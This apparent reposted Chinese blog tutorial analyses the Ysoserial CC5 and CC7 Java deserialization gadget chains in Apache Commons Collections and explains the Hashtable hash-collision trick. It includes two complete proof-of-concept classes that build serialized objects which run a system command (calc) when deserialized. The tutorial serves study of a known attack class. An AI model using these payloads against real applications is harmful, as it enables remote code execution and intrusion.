服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

JAVA安全|Gadget篇:CC5 CC7链

日期: 来源:沃克学安全收集编辑:walker1995
0x00  前言
    JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需要读者具备一定java基础,不定时更新。相关详情可通过我的公众号文章进行查看:
JAVA安全|即将开启:java安全系列文章
    Gadget篇主要是分析一些经典常见的反序列化链,基本来自于Ysoserial工具。与网上大部分分析反序列化链文章的不同点在于我会尽可能地从如何发现链子的角度来讲解,参考的资料主要为B站白日梦组长的视频以及P牛的JAVA安全漫谈系列文章。

    本文为JAVA安全系列文章第十六篇,学习Ysoserial中CC5  CC7这两条链,重点在于掌握理解CC7的调用逻辑以及构造哈希碰撞。

0x01  回顾

回顾下此前学的Ysoserial中CC1  CC6这两条链的Gadget:

会发现,这两条链是由不同的方法调用LazyMap.get()来触发我们的Transformer数组,从而造成RCE。当我们回溯去找谁会到get()时,会发现其实有很多:

太多虽然让人感觉难以入手,但也意味着可能的方法也会越多,CC5和CCC7其实都是去寻找其他能调用到LazyMap.get()的方法而构造出来的。

0x02  Ysoserial  CC5链

一、调试简化版CC6链时发现的一个有趣问题

之前在学习简化版CC6时候,一个有趣的问题是当我们一开始传入的Transformer数组是可以弹计算器的transforms时,我们在new TiedMapEntry()处下个断点,当执行下一步时就会弹计算器:

当时就觉得一脸懵逼,这里怎么可能会弹计算器呢?后来知道,IDEA在调试时,由于要输出相关对象的信息,所以会默认调用toString()方法,也就是说此处会调用到TiedMapEntry的toString()方法。

当我去看这个方法时,恍然大悟:

/**
* Gets a string version of the entry.
*
* @return entry as a string
*/
public String toString() {
   return getKey() + "=" + getValue();
}

/**
    * Gets the value of this entry direct from the map.
    *
    * @return the value
    */
   public Object getValue() {
       return map.get(key);
  }

TiedMapEntry#toString()会调用TiedMapEntry#getValue(),而getValue()又会调用map.get(),而此处的map为LazyMap对象,故而触发链子,弹出计算器。

所以在链子中先传一个人畜无害的fakeformers,不光是防止put时弹计算器,也是为了防止调试时触发toString()弹计算器造成的干扰。

二、CC5链的构造

CC5就是使用的TiedMapEntry#toString()来调用LazyMap#get()。而回溯去找谁会调用toString(),依然有很多:

这么多个类中,倘若能找到一个类,它可序列化,readObject()方法调用了toString(),且我们能控制传入相关参数为TiedMapEntry那就成了。Ysoserial给出的类是BadAttributeValueExpException,位于javax.management包中:

我们只要在创建BadAttributeValueExpException时传入val为null,再通过反射修改val为TiedMapEntry就可以了。Gadget chain:

三、POC编写

这条链很好理解,就是不知原作者是怎么找到BadAttributeValueExpException这个类的

POC如下:

public class CC5 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       Transformer[] fakeformers = {new ConstantTransformer(1)};
       Transformer[] transforms = new Transformer[]{
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
      };

       //先传入人畜无害的fakeformers避免调试时就弹计算器
       ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);

       Map innerMap = new HashMap();
       Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
       TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

       BadAttributeValueExpException expException = new BadAttributeValueExpException(null);

       setFieldValue(expException,"val",tiedMapEntry);
       //反射修改chainedTransformer中的iTransformers为transforms
       setFieldValue(chainedTransformer,"iTransformers",transforms);

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(expException);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}

0x03  Ysoserial  CC7链

一、反序列化入口?

由于LazyMap#get()在很多类中都会被调用,想通过逆向回溯去找到反序列化入口不太可能。

但我们可以做如下思考:

在学习简化版CC6时是使用的HashMap作为反序列化入口,Ysoserial中的CC6是使用的HahSet作为反序列化入口。

在学习JAVA SE集合时,我们知道HashSet,HashTable底层都是HashMap,既然前面用HashMap,HahSet都能作为入口,那用HashTable作为入口是否可行?我想,Ysoserial的作者在找这条链子时思路也是这样。

这里也简单介绍下HashTable:

HashTable中存放的是键值对,即key-value,key是不能重复的,它是数组+链表的结合体,如图示:

二、调用逻辑分析

到底是否可行,我们还需要详细分析一下:

(友情提示:如果想更深入理解调用逻辑,建议把HashMap,HashSet,HashTable的底层实现原理好好学习一下,这里推荐B站韩顺平老师讲集合的那一部分,之前跟着学了一遍,确实不错。)

1.HashTable#readObject()

主要还是for循环,从序列化流中读取其key和value并使用reconstitutionPut(table, key, value)方法重建HashTable。

2.HashTable#reconstitutionPut()

在反序列化时为了保证key不重复,先通过key的hashCode()方法得出hash,然后对hash进行计算得到该key在table中的索引index,其中table包含了多个Entry数组,Entry是用来存放key-value的。

再循环遍历该索引下Entry数组中的每个Entry,通过if(e.hash == hash) && e.key.equals(key)即当hash相同时,通过equals()来判断要加入的key是否已在当前hashtable中,若不在则将其加入。

看到这里我们自然会想到把key传入为LazyMap对象,看看是否可以从LazyMap#equals()走到LazyMap#get()。但我们会发现LazyMap中并没有equals()方法,其父类AbstractMapDecorator中有:

类图关系:

但此处的map.equals()我们通过ctrl+B进入到的是Map接口的equals()。那LazyMap#equals()最终是在哪呢?

我们写段代码来调试一下就知道了,既然是equals必然会有两个对象,我们写出如下demo并下断点调试:

找到其equals方法在java.util.AbstractMap中:

3.AbstractMap#equals()

此处的o看成是LazyMap对象,重点在while循环,可以看到,不管value是否为null,都会调用到get()!!!那链子不就接起来了么?

4.Gadget chain

通过上面的分析,可以得到这样一条调用链:

当然,要通过AbstractMap.equals()来调用LazyMap.get()重要的一点是:

if(e.hash == hash) && e.key.equals(key),即我们得要构造两个hash相等的HashTable$Entry,这就是哈希碰撞。

三、哈希碰撞
1.hash的计算

我们回到HashTable中看看它是怎么计算hash的:

// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
   if ((e.hash == hash) && e.key.equals(key)) {
       throw new java.io.StreamCorruptedException();
  }
}

其hash就是key的hashCode(),此处key为LazyMap对象。那么构造两个hash相等的HashTable$Entry的问题转化为构造两个hashCode相等的LazyMap对象。

不知你发现没有,若此处的key传入为TiedMapEntry就是CC6链了,很有趣吧~

同样,LazyMap中没有hashCode() ,其父类AbstractMapDecorator中有:

通过ctrl+B进入到的同样是Map接口的hashCode()。

同样,我们用上面的方法自己写代码来调试,看LazyMap的hashCode()究竟会怎么计算:

发现在HashMap的hashCode():

此时我们发现LazyMap的hashCode()其实就是计算其map属性的hashCode(),当这个map为HashMap对象时,就是计算其key与value的hashCode()进行异或。

此处,会动态绑定,hashCode究竟会怎么算,还要看传入的 key和value分别是什么。

此处要让hashCode()相等,那我们可以传入相同的value,不同的key,且key为String类型。那么就看String的hashCode如何计算:

public int hashCode() {
   int h = hash;
   if (h == 0 && value.length > 0) {
       char val[] = value;

       for (int i = 0; i < value.length; i++) {
           h = 31 * h + val[i];
      }
       hash = h;
  }
   return h;
}

那么构造两个hash相等的HashTable$Entry的问题进一步转换为让两个字符串的hashCode相等。

2.构造hash碰撞的LazyMap对象

h = 31 * h + val[i]其中val[]为字符串的char数组,h默认为0。

为了让问题变得简单,我们假定传入的字符串是两位字符,即此时的val[]char数组长度为2,两个字符串分别为s1,s2。则问题变为:

31*ASCII(s1[0]) + ASCII(s1[1]) = 31*ASCII(s2[0]) + ASCII(s2[1])

即31*(ASCII(s1[0])-ASCII(s2[0]))= ASCII(s2[1])-ASCII(s1[1])

我们再简化问题,让ASCII(s1[0])-ASCII(s2[0]) = 1,则就转化为

31 = ASCII(s2[1])-ASCII(s1[1])

对照ACSII码表,我们很容易可以构造出两个hashCode相等的字符串。

此处我构造的两个字符串分别为:s1="xO",s2="y0"

那么我们构造出来的两个hash碰撞的LazyMap对象是:

Map innerMap1 = new HashMap();
innerMap1.put("xO",1);
Map innerMap2 = new HashMap();
innerMap2.put("y0",1);

Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
四、POC编写
1.不注意踩到的一个小坑

只要构造出了两个hash碰撞的LazyMap对象,相信结合前面CC6链的POC,大家都能写出来CC7链的POC,此处我分享一个我踩的小坑,并不是每个人都会遇到。

当我信息满满的写完POC后,运行并不能弹出计算器:

原因是什么呢?是Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
innerMap1.put("xO",1);
Map innerMap2 = new HashMap();
innerMap2.put("y0",1);

擦出的火花,结合前面的CC6链的分析我们都知道,当hashtable通过put将lazyMap2 添加进去的时候,会触发一次lazyMap.get(),加入一个xO=1的键值对:

此处的1来源于new ConstantTransformer(1),返回到上一层函数AbstratMap#equals()时会进行if (!value.equals(m.get(key)))的判断,此处value为1,这个1来源于innerMap1.put("xO",1),而m.get(key)也为1,两个相等,if的判断为false:

此时返回的布尔值为true:

即会判断两个键值对(lazyMap1,1)和(lazyMap2,2)的键相同,导致(lazyMap2,2)并未加入到hashtable中,且会将键lazyMap1的值改为2:

此时反序列化自然不会弹出计算器。

简单来说就是因为ConstantTransformer(1)中的1和lazyMap中hashmap的value相同了,让他们不相等就行。Ysoserial中是直接一个空数组来避免这个问题:

2.POC
public class CC7 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(2)};
       Transformer[] transforms = new Transformer[]{
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
      };

       //先传入人畜无害的fakeformers避免hashtable第二次put时就弹计算器
       ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);

       Map innerMap1 = new HashMap();
       innerMap1.put("xO",1);
       Map innerMap2 = new HashMap();
       innerMap2.put("y0",1);

       Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
       Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);

       Hashtable hashtable = new Hashtable();
       hashtable.put(lazyMap1,1);
       hashtable.put(lazyMap2,2);
       lazyMap2.remove("xO");

       Class clazz = ChainedTransformer.class;
       Field field = clazz.getDeclaredField("iTransformers");
       field.setAccessible(true);
       field.set(chainedTransformer,transforms);

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(hashtable);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }
}

运行弹计算器:

0x04  总结

本文重点有两个:

一、CC7链中从HashTable#readObject()到LazyMap#get()调用逻辑

1.HashTable反序列化时会从中读取键值对,然后使用reconstitutionPut(table, key, value)进行重建;

2.reconstitutionPut中会进行if ((e.hash == hash) && e.key.equals(key)) 判断。也即当一对键值对的hash相等时,会通过equals()比较两个key是否相等。这时若key为lazymap,则进入到lazymap的equals方法;

3.我们通过自己写代码调试,发现lazymap的equal()方法其实就是java.util.AbstractMap#equals()。此方法中会调用到m.get(key),故而调用lazyMap的get()方法,链子就接起来了。

二、关键点在于如何使得hashtable中的两对键值对,hash相同而key不同

1.通过分析发现hash其实就是键的hashcode,也即lazyMap的hashCode(),问题转化为构造两个hashCode相等的LazyMap对象;

2.通过自己写代码调试发现,当LazyMap中的map属性为HashMap对象时,其hashCode()方法就是HashMap#hashcode():return Objects.hashCode(key) ^ Objects.hashCode(value);此处,会动态绑定,hashCode究竟会怎么算,还要看传入的 key和value分别是什么。

我们传入相同的value,不同的key,且key为String类型,那么问题就进一步转化为让两个字符串的hashCode相等。

3.String的hashCode计算方法:h = 31 * h + val[i]

val为字符串的char数组,h默认为0。

假定我们传入的字符串是两位,那么两个字符串的hashCode要相等,只需:

31*(ASCII(s1[0])-ASCII(s2[0]))= ASCII(s2[1])-ASCII(s1[1])

我们再简化问题,让ASCII(s1[0])-ASCII(s2[0]) = 1,则就转化为:

31 = ASCII(s2[1])-ASCII(s1[1])

对照ACSII码表,我们很容易可以构造出两个hashCode相等的字符串,比如s1="xO",s2="y0"。也就能构造出hash相同而key不同的两对键值对了。


Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链

第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链

第12篇:JAVA安全|基础篇:动态字节码加载(一)

第13篇:JAVA安全|基础篇:动态字节码加载(二)

第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造

第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

相关阅读

  • JAVA安全|Gadget篇:CC8 CC9链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:Ysoserial CB1链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:JDK原生链—JDK7u21

  • 本文为JAVA安全系列文章第二十一篇。在没有合适的第三方库存在时,我们仍然有两条原生链可以利用—JDK7u21和JDK8u20。本文学习JDK7u21这条原生链。0x01 JDK7u21链的核心原理
  • JAVA安全|字节码篇:字节码操作库—javassist

  • 0x00 前言 原本打算把这部分内容放到基础篇章的,但随着我的学习,发现这一部分内容其实并不基础,于是又单独开了字节码篇章。这一篇章的主要内容为Javassist、ASM这两个字节
  • 对学校系统开展的一次完整渗透

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • JAVA安全|Gadget篇:CC5 CC7链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:CC8 CC9链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:Ysoserial CB1链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:JDK原生链—JDK7u21

  • 本文为JAVA安全系列文章第二十一篇。在没有合适的第三方库存在时,我们仍然有两条原生链可以利用—JDK7u21和JDK8u20。本文学习JDK7u21这条原生链。0x01 JDK7u21链的核心原理